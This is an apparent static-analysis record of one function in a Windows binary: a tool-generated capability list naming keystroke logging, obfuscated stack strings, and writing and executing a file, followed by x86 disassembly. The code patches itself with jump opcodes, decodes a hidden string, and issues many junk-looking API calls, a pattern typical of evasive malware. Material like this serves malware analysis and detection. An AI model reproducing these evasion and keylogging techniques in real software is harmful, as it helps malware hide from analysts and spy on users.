Function at 0xa99000
Capabilities:
Accept command line arguments
Allocate thread local storage
Clear file content
Contain obfuscated stackstrings
Create pipe
Create process on windows
Create thread
Delete file
Delete registry value
Enumerate files on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file system object information
Get geographical location
Get graphical window text
Get memory capacity
Get system information on windows
Identify system language via api
Log keystrokes via polling
Modify service
Query environment variable
Query or enumerate registry key
Read .ini file
Set registry value
Set thread local storage value
Suspend thread
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x10], 0xa99b9c
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa99036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa991ae
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa990b8
call fcn.00477492
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa9907a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa99094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa99094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa9904a
mov byte [ebp - 0x68], 3
mov byte [ebp - 0x67], 0x21
mov byte [ebp - 0x66], 9
mov byte [ebp - 0x65], 0x6c
mov byte [ebp - 0x64], 1
mov byte [ebp - 0x63], 0x7a
mov byte [ebp - 0x62], 4
mov byte [ebp - 0x61], 0x7e
mov byte [ebp - 0x60], 9
mov byte [ebp - 0x5f], 0xa3
mov byte [ebp - 0x5e], 0xbb
mov byte [ebp - 0x5d], 0xcb
mov byte [ebp - 0x5c], 0x45
mov byte [ebp - 0x5b], 0xc7
mov byte [ebp - 0x5a], 0xa6
mov byte [ebp - 0x59], 0x49
mov byte [ebp - 0x58], 0x4d
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x56], 0x7b
mov byte [ebp - 0x55], 5
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 8
mov byte [ebp - 0x52], 0x7d
mov byte [ebp - 0x51], 2
mov byte [ebp - 0x50], 0x7d
mov byte [ebp - 0x4f], 6
mov byte [ebp - 0x4e], 0x7f
mov byte [ebp - 0x4d], 7
mov byte [ebp - 0x4c], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa9913e
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1d
jae 0xa991a3
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x68]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa9916a
mov dword [ebp - 0x24], 9
mov eax, dword [ebp - 8]
add eax, 7
mov dword [ebp - 8], eax
jmp 0xa99136
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x67]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa99192
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa9917f
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x68]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa99136
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa8e28a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004079dc
mov ecx, eax
call fcn.004030fc
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.004030a0
and dword [ebp - 0x1c], 0
jmp 0xa991e6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa991f6
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa991df
push 0x1622
push 0x1c9d
push 0x14f5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x331
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0x2377
push 0x252d
push 0
push 0
push 0x9f0
push 0x1d20
call dword [sym.imp.USER32.dll_ToUnicode]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0x6b1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
push 0x1ddd
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0x22b1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x154a
push 0
push 0xdcd
push 0x18c5
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0x6ed
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0
push 0x620
push 0x21b2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0
push 0
push 0x221f
push 0
push 0x41
push 0
push 0x155e
push 0x1747
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x1209
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0x70
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0xcbf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x6bb
push 0x14db
push 0x256b
push 0x546
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x45a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push 0
push 0
push 0xca7
push 0
push 0x6d
push 0
push 0x6e3
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x132a
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
push 0
push 0xfdf
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x1a09
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xe4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xa45
push 0x11d1
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0x259b
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0x138d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x243e
push 0x1131
push 0xf8a
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0x149e
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0xf4c
push 0x365
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
push 0xa30
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
push 0
push 0x1f3e
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0x583
push 0x1d18
push 0
push 0x2054
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 0x1bd8
call dword [sym.imp.KERNEL32.dll_ExitThread]